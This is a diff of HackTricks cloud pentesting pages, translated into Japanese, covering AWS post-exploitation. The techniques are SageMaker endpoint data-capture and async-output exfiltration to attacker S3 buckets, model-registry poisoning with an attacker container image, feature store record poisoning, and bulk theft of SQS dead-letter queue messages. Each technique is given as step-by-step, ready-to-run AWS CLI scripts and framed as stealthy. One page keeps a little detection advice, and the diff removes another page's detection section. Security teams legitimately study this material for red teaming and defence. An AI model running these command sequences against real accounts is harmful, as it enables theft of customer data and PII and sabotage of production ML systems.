mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-10 12:13:17 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -2,18 +2,18 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SageMaker endpoint のデータ吸い上げ (UpdateEndpoint DataCaptureConfig 経由)
|
||||
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
|
||||
|
||||
モデルやコンテナに触れることなく、SageMaker エンドポイント管理を悪用して、攻撃者が管理する S3 バケットへのリクエスト/レスポンスを完全にキャプチャできるようにする。ゼロ/低ダウンタイムのローリングアップデートを使用し、必要なのはエンドポイント管理の権限だけ。
|
||||
SageMaker の endpoint 管理を悪用して、モデルやコンテナに触れることなくリクエスト/レスポンスを攻撃者管理の S3 バケットへフルキャプチャできるようにする。ゼロ/低ダウンタイムのローリングアップデートを使用し、必要なのは endpoint 管理権限のみ。
|
||||
|
||||
### 要件
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: `s3:CreateBucket` (または同じアカウント内の既存のバケットを使用)
|
||||
- オプション(SSE‑KMS を使用する場合): 選択した CMK に対する `kms:Encrypt`
|
||||
- ターゲット: 同じアカウント/リージョン内の既存の InService リアルタイムエンドポイント
|
||||
- S3: `s3:CreateBucket`(または同じアカウント内の既存バケットを使用)
|
||||
- 任意(SSE‑KMS を使用する場合): `kms:Encrypt` on the chosen CMK
|
||||
- Target: 同じアカウント/リージョン内の既存の InService real‑time endpoint
|
||||
|
||||
### 手順
|
||||
1) InService エンドポイントを特定し、現在のプロダクションバリアントを収集する
|
||||
1) InService endpoint を特定し、現在の production variants を収集する
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
|
||||
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
|
||||
echo "EndpointConfig=$CFG"
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) attacker S3 destination を captures 用に準備する
|
||||
2) captures 用の attacker S3 destination を準備する
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-capture-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
```
|
||||
3) 同じ variants を維持したまま、DataCapture を attacker bucket に有効化する新しい EndpointConfig を作成する
|
||||
3) 同じバリアントを保持したまま新しい EndpointConfig を作成し、attacker bucket への DataCapture を有効化する
|
||||
|
||||
注:CLI の検証を満たす明示的なコンテンツタイプを使用してください。
|
||||
注意: CLI の検証を満たす明示的なコンテンツタイプを使用してください。
|
||||
```bash
|
||||
NEWCFG=${CFG}-dc
|
||||
cat > /tmp/dc.json << JSON
|
||||
@@ -59,45 +59,46 @@ aws sagemaker create-endpoint-config \
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
5) 少なくとも1回の推論呼び出しを行う(ライブトラフィックが存在する場合は任意)
|
||||
5) 少なくとも1回の inference call を実行する(ライブトラフィックが存在する場合はオプション)
|
||||
```bash
|
||||
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
|
||||
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
|
||||
--content-type application/json --accept application/json \
|
||||
--body fileb:///tmp/payload.json /tmp/out.bin || true
|
||||
```
|
||||
6) attacker S3 にあるキャプチャを検証する
|
||||
6) 攻撃者 S3 のキャプチャを検証する
|
||||
```bash
|
||||
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
|
||||
```
|
||||
### 影響
|
||||
- ターゲットのエンドポイントから攻撃者が管理する S3 バケットへ、リアルタイム推論のリクエストおよびレスポンスのペイロード(およびメタデータ)を完全に持ち出すことが可能。
|
||||
- model/container image に変更を加えず、エンドポイントレベルの変更のみで、運用への影響を最小限にしたステルスなデータ窃取経路を実現。
|
||||
- ターゲットのエンドポイントから攻撃者管理下の S3 バケットへ、リアルタイム推論のリクエストおよびレスポンスのペイロード(およびメタデータ)を完全に流出させることが可能。
|
||||
- model/container image を変更せず、エンドポイントレベルの変更のみで済むため、運用への影響を最小限に抑えたステルスなデータ窃取経路を実現できる。
|
||||
|
||||
## SageMaker 非同期推論出力のハイジャック(UpdateEndpoint AsyncInferenceConfig 経由)
|
||||
|
||||
現在の EndpointConfig を複製し、AsyncInferenceConfig.OutputConfig の S3OutputPath/S3FailurePath を設定することで、エンドポイント管理を悪用して非同期推論出力を攻撃者が管理する S3 バケットへリダイレクトします。これにより model/container を変更せずに、モデルの予測(およびコンテナが含める変換済み入力)を持ち出すことができます。
|
||||
## SageMaker 非同期推論出力 hijack via UpdateEndpoint AsyncInferenceConfig
|
||||
|
||||
現在の EndpointConfig をクローンし、AsyncInferenceConfig.OutputConfig の S3OutputPath/S3FailurePath を設定することで、エンドポイント管理を悪用して非同期推論の出力を攻撃者管理下の S3 バケットへリダイレクトする。これにより model/container を変更することなく、モデルの予測結果(およびコンテナが含める変換済み入力)を流出させることができる。
|
||||
|
||||
### 要件
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: モデル実行ロールまたは許容的なバケットポリシーを通じて攻撃者が管理する S3 バケットへ書き込めること
|
||||
- 対象: 非同期呼び出しが現在(または今後)利用される InService エンドポイント
|
||||
- S3: モデル実行ロール経由、または寛容なバケットポリシーにより攻撃者の S3 バケットへ書き込み可能であること
|
||||
- Target: 非同期呼び出しが使用されている(または使用される予定の)InService エンドポイント
|
||||
|
||||
### 手順
|
||||
1) 対象エンドポイントから現在の ProductionVariants を収集する
|
||||
1) ターゲットのエンドポイントから現在の ProductionVariants を収集する
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=<target-endpoint-name>
|
||||
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) attacker bucket を作成する(model execution role が PutObject できることを確認する)
|
||||
2) attacker bucketを作成する(model execution roleがそれに対してPutObjectできることを確認する)
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION || true
|
||||
```
|
||||
3) EndpointConfig を Clone して、AsyncInference の出力を攻撃者バケットに hijack する
|
||||
3) EndpointConfig をクローンし、AsyncInference の出力を attacker bucket に hijack する
|
||||
```bash
|
||||
NEWCFG=${CUR_CFG}-async-exfil
|
||||
cat > /tmp/async_cfg.json << JSON
|
||||
@@ -107,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
4) 非同期呼び出しをトリガーし、オブジェクトがattacker S3に到達することを確認する
|
||||
4) async invocation をトリガーし、オブジェクトが攻撃者の S3 に格納されることを確認する
|
||||
```bash
|
||||
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
|
||||
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
|
||||
@@ -116,27 +117,27 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true
|
||||
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
|
||||
```
|
||||
### 影響
|
||||
- 非同期推論の結果(およびエラーボディ)を攻撃者が管理する S3 にリダイレクトし、モデルコードやイメージを変更せず、ほとんどまたは全くダウンタイムを発生させずに、コンテナが生成する予測結果や前処理/後処理された入力を密かに流出させることを可能にする。
|
||||
- 非同期推論の結果(およびエラー本文)を攻撃者が制御する S3 にリダイレクトし、モデルコードやイメージを変更せず、ダウンタイムを最小限またはゼロに抑えたまま、コンテナが生成する予測結果および前処理/後処理された機密性の高い入力を密かに流出させることを可能にします。
|
||||
|
||||
|
||||
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
|
||||
|
||||
If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.
|
||||
ターゲットの SageMaker Model Package Group に対して CreateModelPackage を実行できる攻撃者は、攻撃者が制御するコンテナイメージを指す新しいモデルバージョンを登録し、それを即座に Approved にマークできます。多くの CI/CD パイプラインは Approved のモデルバージョンを自動的にエンドポイントやトレーニングジョブにデプロイするため、サービスの実行ロールで攻撃者のコードが実行される結果を招きます。許容的な ModelPackageGroup リソースポリシーがあると、クロスアカウントの露出が拡大する可能性があります。
|
||||
|
||||
### 要件
|
||||
- IAM(既存グループを汚染するための最小権限): 対象の ModelPackageGroup に対する `sagemaker:CreateModelPackage`
|
||||
- IAM(既存のグループを汚染するための最小権限): ターゲットの ModelPackageGroup に対する `sagemaker:CreateModelPackage`
|
||||
- オプション(グループが存在しない場合に作成するため): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: 参照される ModelDataUrl への読み取りアクセス(または攻撃者管理のアーティファクトをホスト)
|
||||
- 対象: 下流の自動化が Approved バージョンを監視している Model Package Group
|
||||
- S3: 参照される ModelDataUrl への読み取りアクセス(または攻撃者がホストするアーティファクト)
|
||||
- ターゲット: 下流の自動化が Approved バージョンを監視している Model Package Group
|
||||
|
||||
### 手順
|
||||
1) リージョンを設定し、対象の Model Package Group を作成/検索する
|
||||
1) リージョンを設定し、ターゲットとなる Model Package Group を作成または検索する
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=victim-group-$(date +%s)
|
||||
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
|
||||
```
|
||||
2) S3にダミーのモデルデータを準備する
|
||||
2) S3にダミーモデルデータを準備する
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
|
||||
@@ -144,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION
|
||||
head -c 1024 </dev/urandom > /tmp/model.tar.gz
|
||||
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
|
||||
```
|
||||
3) パブリックな AWS DLC イメージを参照する悪意のある(ここでは無害な)Approved model package version を登録する
|
||||
3) 公開されている AWS DLC イメージを参照する、悪意のある(ここでは無害な)承認済みモデルパッケージバージョンを登録する
|
||||
```bash
|
||||
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
|
||||
cat > /tmp/inf.json << JSON
|
||||
@@ -166,13 +167,14 @@ aws sagemaker create-model-package --region $REGION --model-package-group-name
|
||||
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
|
||||
```
|
||||
### 影響
|
||||
- Model Registry を、攻撃者管理下のコードを参照する Approved バージョンで汚染します。Approved モデルを自動デプロイするパイプラインは攻撃者のイメージを pull して実行する可能性があり、endpoint/training ロールの権限でコード実行が発生します。
|
||||
- 寛容な ModelPackageGroup リソースポリシー(PutModelPackageGroupPolicy)がある場合、この悪用はクロスアカウントで誘発され得ます。
|
||||
- Poison the Model Registry を攻撃者管理下のコードを参照する Approved バージョンで行う。Pipelines が Approved モデルを自動デプロイする場合、攻撃者のイメージを pull して実行し、endpoint/training roles の権限でコード実行を引き起こす可能性がある。
|
||||
- 許容的な ModelPackageGroup resource policy (PutModelPackageGroupPolicy) を持つ場合、この悪用はクロスアカウントでトリガーされ得る。
|
||||
|
||||
## Feature store poisoning
|
||||
|
||||
OnlineStore が有効な Feature Group に対して `sagemaker:PutRecord` を悪用し、online inference が消費するライブの feature 値を上書きします。`sagemaker:GetRecord` と組み合わせると、攻撃者は機密性の高い feature を読み取ることができます。これはモデルやエンドポイントへのアクセスを必要としません。
|
||||
OnlineStore が有効な Feature Group に対して `sagemaker:PutRecord` を悪用し、オンライン推論で消費されるライブのフィーチャー値を上書きする。`sagemaker:GetRecord` と組み合わせることで、攻撃者は機密フィーチャーを読み取ることができる。これは models や endpoints へのアクセスを必要としない。
|
||||
|
||||
{{#ref}}
|
||||
feature-store-poisoning.md
|
||||
{{/ref}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,17 +1,19 @@
|
||||
# SageMaker Feature Store online store poisoning
|
||||
|
||||
OnlineStore が有効な Feature Group に対して `sagemaker:PutRecord` を悪用し、オンライン推論で消費されるライブの特徴量値を上書きします。`sagemaker:GetRecord` と組み合わせることで、攻撃者は機密性の高い特徴量を読み取り、機密な ML データを exfiltrate できます。これはモデルやエンドポイントへのアクセスを必要としないため、直接的なデータ層攻撃になります。
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
`OnlineStore` が有効な Feature Group に対して `sagemaker:PutRecord` を悪用し、オンライン推論で利用されるライブの特徴量値を上書きします。`sagemaker:GetRecord` と組み合わせることで、攻撃者は機密性の高い特徴量を読み取ることができます。これにはモデルやエンドポイントへのアクセスは不要です。
|
||||
|
||||
## Requirements
|
||||
- 権限: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- 対象: OnlineStore が有効な Feature Group(通常はリアルタイム推論を支えるもの)
|
||||
- 複雑さ: **LOW** - 簡単な AWS CLI コマンド、モデル操作は不要
|
||||
- 対象: OnlineStore が有効な Feature Group(通常はリアルタイム推論を支える)
|
||||
- 複雑さ: **LOW** - 単純な AWS CLI コマンド、モデルの操作は不要
|
||||
|
||||
## Steps
|
||||
|
||||
### Reconnaissance
|
||||
|
||||
1) OnlineStore が有効な Feature Groups を一覧表示する
|
||||
1) OnlineStore が有効な Feature Group を列挙する
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
aws sagemaker list-feature-groups \
|
||||
@@ -19,16 +21,16 @@ aws sagemaker list-feature-groups \
|
||||
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
|
||||
--output table
|
||||
```
|
||||
2) 対象の Feature Group を説明して、そのスキーマを理解する
|
||||
2) ターゲットの Feature Group を記述して、そのスキーマを把握する
|
||||
```bash
|
||||
FG=<feature-group-name>
|
||||
aws sagemaker describe-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG"
|
||||
```
|
||||
`RecordIdentifierFeatureName`、`EventTimeFeatureName`、およびすべてのフィーチャ定義に注意してください。これらは有効なレコードを作成するために必要です。
|
||||
`RecordIdentifierFeatureName`、`EventTimeFeatureName`、およびすべての特徴量定義に注意してください。これらは有効なレコードを作成するために必要です。
|
||||
|
||||
### Attack Scenario 1: Data Poisoning (Overwrite Existing Records)
|
||||
### 攻撃シナリオ 1: Data Poisoning (Overwrite Existing Records)
|
||||
|
||||
1) 現在の正当なレコードを読み取る
|
||||
```bash
|
||||
@@ -54,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
3) 汚染されたデータを検証する
|
||||
3) poisoned dataを検証する
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
**影響**: ML models consuming this feature will now see `risk_score=0.99` for a legitimate user, potentially blocking their transactions or services。
|
||||
**Impact**: MLモデルがこの特徴量を利用すると、正当なユーザーに対して`risk_score=0.99`が表示され、取引やサービスがブロックされる可能性があります。
|
||||
|
||||
### 攻撃シナリオ2: Malicious Data Injection (Create Fraudulent Records)
|
||||
### 攻撃シナリオ 2: Malicious Data Injection (Create Fraudulent Records)
|
||||
|
||||
操作されたフィーチャーを持つ完全に新しいレコードを注入して、セキュリティ制御を回避する:
|
||||
セキュリティコントロールを回避するために、改ざんされた特徴量を持つ完全に新しいレコードを注入する:
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
@@ -82,18 +84,18 @@ aws sagemaker-featurestore-runtime put-record \
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
インジェクションを検証する:
|
||||
injectionを検証する:
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-999
|
||||
```
|
||||
**Impact**: 攻撃者は低リスクスコア (0.01) の偽のアイデンティティを作成し、詐欺検知を発動させることなく高額な不正取引を実行できる。
|
||||
**Impact**: 攻撃者はリスクスコアが低い(0.01)の偽の身元を作成し、不正検知を発動させることなく高額な不正取引を行える。
|
||||
|
||||
### Attack Scenario 3: 機密データの持ち出し
|
||||
|
||||
複数のレコードを読み取り、機密の特徴量を抽出してモデルの挙動をプロファイリングする:
|
||||
複数のレコードを読み出して機密な特徴量を抽出し、モデルの挙動をプロファイリングする:
|
||||
```bash
|
||||
# Exfiltrate data for known users
|
||||
for USER_ID in user-001 user-002 user-003 user-999; do
|
||||
@@ -104,11 +106,11 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--record-identifier-value-as-string ${USER_ID}
|
||||
done
|
||||
```
|
||||
**影響**: 機密の特徴量(リスクスコア、取引パターン、個人データ)が攻撃者にさらされる。
|
||||
**影響**: 機密な特徴量(リスクスコア、取引パターン、個人データ)が攻撃者に露出する。
|
||||
|
||||
### テスト/デモ Feature Group Creation (Optional)
|
||||
### テスト/デモ Feature Group の作成(任意)
|
||||
|
||||
If you need to create a test Feature Group:
|
||||
テスト用の Feature Group を作成する必要がある場合:
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
|
||||
@@ -141,20 +143,6 @@ fi
|
||||
|
||||
echo "Feature Group ready: $FG"
|
||||
```
|
||||
## Detection
|
||||
|
||||
Monitor CloudTrail for suspicious patterns:
|
||||
- 異常な IAM プリンシパルや IP アドレスからの `PutRecord` イベント
|
||||
- 高頻度の `PutRecord` や `GetRecord` 呼び出し
|
||||
- 異常な特徴量値を伴う `PutRecord`(例: risk_score が通常の範囲外)
|
||||
- 大量の `GetRecord` 操作(大規模なデータ持ち出しを示唆)
|
||||
- 通常の業務時間外や予期しない場所からのアクセス
|
||||
|
||||
Implement anomaly detection:
|
||||
- 特徴量値の検証(例: risk_score は 0.0-1.0)
|
||||
- 書き込みパターンの解析(頻度、タイミング、ソースの識別)
|
||||
- データドリフト検出(特徴量分布の急激な変化)
|
||||
|
||||
## References
|
||||
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
## 参考資料
|
||||
- [AWS SageMaker Feature Store ドキュメント](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Feature Store セキュリティ ベストプラクティス](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
|
||||
@@ -1,51 +1,53 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Description
|
||||
|
||||
SQS の message move task を悪用して、被害者の Dead-Letter Queue (DLQ) に蓄積されたすべてのメッセージを `sqs:StartMessageMoveTask` を使って攻撃者が管理するキューにリダイレクトし、窃取します。この手法は AWS の正当な message recovery 機能を悪用し、DLQ に長期間蓄積された機密データを流出させるものです。
|
||||
SQS の message move task を悪用して、`sqs:StartMessageMoveTask` を使い、被害者の Dead-Letter Queue (DLQ) に蓄積された全てのメッセージを攻撃者管理のキューへリダイレクトして盗み出します。この手法は、AWS の正当なメッセージ回復機能を悪用して、時間とともに DLQ に蓄積された機微なデータを外部へ流出させるものです。
|
||||
|
||||
## What is a Dead-Letter Queue (DLQ)?
|
||||
|
||||
Dead-Letter Queue は、メインのアプリケーションで正常に処理できなかったメッセージが自動的に送られる特別な SQS キューです。これらの失敗したメッセージにはしばしば以下が含まれます:
|
||||
- 処理できなかった機密なアプリケーションデータ
|
||||
- エラーの詳細やデバッグ情報
|
||||
- Personal Identifiable Information (PII)
|
||||
- API tokens、認証情報、その他のシークレット
|
||||
- 事業上重要なトランザクションデータ
|
||||
Dead-Letter Queue は、メインアプリケーションで正常に処理できなかったメッセージが自動的に送られる特別な SQS キューです。これらの失敗したメッセージにはしばしば以下が含まれます:
|
||||
- 処理できなかった機密アプリケーションデータ
|
||||
- エラー詳細やデバッグ情報
|
||||
- 個人識別情報 (PII)
|
||||
- API トークンや資格情報、その他のシークレット
|
||||
- 業務上重要なトランザクションデータ
|
||||
|
||||
DLQ は失敗メッセージの「墓場」として機能するため、アプリケーションが適切に処理できなかった機密データが時間とともに蓄積され、価値の高いターゲットとなります。
|
||||
DLQ は失敗メッセージの「墓場」として機能するため、アプリケーションが適切に処理できなかった機密データが時間とともに蓄積され、貴重なターゲットになります。
|
||||
|
||||
## Attack Scenario
|
||||
|
||||
**Real-world example:**
|
||||
1. **E-commerce application** が SQS を介して顧客注文を処理する
|
||||
2. **Some orders fail**(支払いの問題、在庫の問題など)で DLQ に移される
|
||||
3. **DLQ accumulates** 何週間・何ヶ月分もの失敗した注文が顧客データとともに蓄積される: {"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}
|
||||
4. **Attacker gains access** 攻撃者が SQS 権限を持つ AWS 資格情報を入手する
|
||||
5. **Attacker discovers** DLQ に何千件もの機密データを含む失敗注文があることを発見する
|
||||
6. **Instead of trying to access individual messages**(個別メッセージにアクセスするのは遅く目立つため)、攻撃者は `StartMessageMoveTask` を使ってすべてのメッセージを自分のキューに一括転送する
|
||||
7. **Attacker extracts** 一度の操作で過去のすべての機密データを抽出する
|
||||
1. **E-commerce application** が SQS 経由で顧客注文を処理する
|
||||
2. **いくつかの注文が失敗**(支払い問題、在庫問題など)し、DLQ に移される
|
||||
3. **DLQ に数週間/数ヶ月分の失敗注文が蓄積**され、顧客データを含む: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **攻撃者が SQS 権限を持つ AWS 資格情報を入手**する
|
||||
5. **攻撃者が DLQ に数千件の機密データがあることを発見**する
|
||||
6. **個々のメッセージへアクセスしようとする代わりに**(遅く目立つため)攻撃者は `StartMessageMoveTask` を使って全メッセージを自分のキューへ一括転送する
|
||||
7. **攻撃者は一度の操作で過去の全ての機密データを抽出**する
|
||||
|
||||
## Requirements
|
||||
- ソースキューは DLQ として設定されている必要があります(少なくとも1つのキューの RedrivePolicy に参照されていること)。
|
||||
- ソースキューは DLQ として設定されている必要がある(少なくとも1つのキューの RedrivePolicy で参照されていること)。
|
||||
- IAM 権限(侵害された被害者プリンシパルとして実行):
|
||||
- ソース(DLQ)に対して: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`。
|
||||
- 宛先キュー: メッセージ配信の権限(例: 被害者プリンシパルからの `sqs:SendMessage` を許可するキューポリシー)。同一アカウント内の宛先では通常デフォルトで許可されていることが多い。
|
||||
- SSE-KMS が有効な場合: ソース CMK に対して `kms:Decrypt`、宛先 CMK に対して `kms:GenerateDataKey`, `kms:Encrypt`。
|
||||
- On DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- On destination queue: メッセージ配信の権限(例: 被害者プリンシパルからの `sqs:SendMessage` を許可するキューポリシー)。同一アカウントの宛先では通常デフォルトで許可されていることが多い。
|
||||
- SSE-KMS が有効な場合: ソース CMK に対する `kms:Decrypt`、および宛先 CMK に対する `kms:GenerateDataKey`, `kms:Encrypt`。
|
||||
|
||||
## Impact
|
||||
ネイティブな SQS API を使用して、DLQ に蓄積された機密ペイロード(失敗イベント、PII、トークン、アプリケーションペイロード)を高速に流出させます。宛先キューのポリシーが被害者プリンシパルからの `SendMessage` を許可していれば、クロスアカウントでも機能します。
|
||||
ネイティブな SQS API を使って DLQ に蓄積された機密ペイロード(失敗イベント、PII、トークン、アプリケーションペイロード)を高速に流出させます。宛先キューポリシーが被害者プリンシパルからの `SendMessage` を許可していれば、クロスアカウントでも機能します。
|
||||
|
||||
## How to Abuse
|
||||
|
||||
- 被害者の DLQ ARN を特定し、それが実際に何らかのキューの DLQ として参照されていることを確認する。
|
||||
- 被害者 DLQ の ARN を特定し、それが実際に何らかのキューの DLQ として参照されていることを確認する。
|
||||
- 攻撃者が管理する宛先キューを作成または選択し、その ARN を取得する。
|
||||
- 被害者 DLQ から自分の宛先キューへ message move task を開始する。
|
||||
- 進行状況を監視するか、必要に応じてキャンセルする。
|
||||
- 被害者 DLQ から宛先キューへメッセージ移動タスクを開始する。
|
||||
- 進捗を監視するか、必要に応じてキャンセルする。
|
||||
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
|
||||
**Scenario**: 攻撃者が AWS 資格情報を侵害し、ある e-commerce アプリケーションが失敗した顧客注文処理を含む DLQ を使用していることを発見した。
|
||||
**Scenario**: 攻撃者が AWS 資格情報を侵害し、e-commerce アプリケーションが失敗した顧客注文処理を含む DLQ を使用していることを発見した。
|
||||
|
||||
1) **Discover and examine the victim DLQ**
|
||||
```bash
|
||||
@@ -61,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **攻撃者が制御する宛先キューを作成する**
|
||||
2) **attacker-controlled destination queue を作成する**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
@@ -69,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at
|
||||
|
||||
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
|
||||
```
|
||||
3) **一括メッセージの窃取を実行する**
|
||||
3) **Execute the bulk message theft**
|
||||
```bash
|
||||
# Start moving ALL messages from victim DLQ to our queue
|
||||
# This operation will transfer thousands of failed orders containing customer data
|
||||
@@ -84,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE"
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **盗まれた機密データを収集する**
|
||||
4) **盗まれた機密データを回収する**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
@@ -113,21 +115,21 @@ echo "Received batch of stolen data..."
|
||||
echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### クロスアカウントの注意点
|
||||
- 宛先キューには、被害者プリンシパルが `sqs:SendMessage` を実行できるようにするリソースポリシーが必要です(および、使用する場合は KMS のグラント/権限)。
|
||||
### クロスアカウントの注意事項
|
||||
- 宛先キューには被害者プリンシパルに `sqs:SendMessage` を許可するリソースポリシーが必要です(使用する場合は KMS の付与/権限も)。
|
||||
|
||||
## なぜこの攻撃が効果的か
|
||||
## この攻撃が効果的な理由
|
||||
|
||||
1. **Legitimate AWS Feature**: 組み込みの AWS 機能を使用するため、悪意ある動作として検知されにくい
|
||||
2. **Bulk Operation**: 個別に遅くアクセスする代わりに、数千件のメッセージを素早く転送できる
|
||||
3. **Historical Data**: DLQs は数週間〜数か月にわたり機密データを蓄積する
|
||||
4. **Under the Radar**: 多くの組織は DLQ へのアクセスを綿密に監視していない
|
||||
5. **Cross-Account Capable**: 権限があれば攻撃者自身の AWS アカウントへ exfiltrate できる
|
||||
1. **正当な AWS 機能**: 組み込みの AWS 機能を使用するため、悪意ある活動として検出されにくい
|
||||
2. **一括操作**: 個別に遅くアクセスする代わりに、数千件のメッセージを迅速に転送できる
|
||||
3. **履歴データ**: DLQ は数週間〜数ヶ月にわたって機密データが蓄積される
|
||||
4. **見過ごされがち**: 多くの組織は DLQ へのアクセスを厳密に監視していない
|
||||
5. **クロスアカウント対応**: 許可があれば攻撃者自身の AWS アカウントへ exfiltrate できる
|
||||
|
||||
## 検出と防止
|
||||
|
||||
### 検出
|
||||
疑わしい `StartMessageMoveTask` API 呼び出しを CloudTrail で監視する:
|
||||
CloudTrail を監視して、疑わしい `StartMessageMoveTask` API 呼び出しを検出する:
|
||||
```json
|
||||
{
|
||||
"eventName": "StartMessageMoveTask",
|
||||
@@ -142,9 +144,11 @@ done
|
||||
}
|
||||
}
|
||||
```
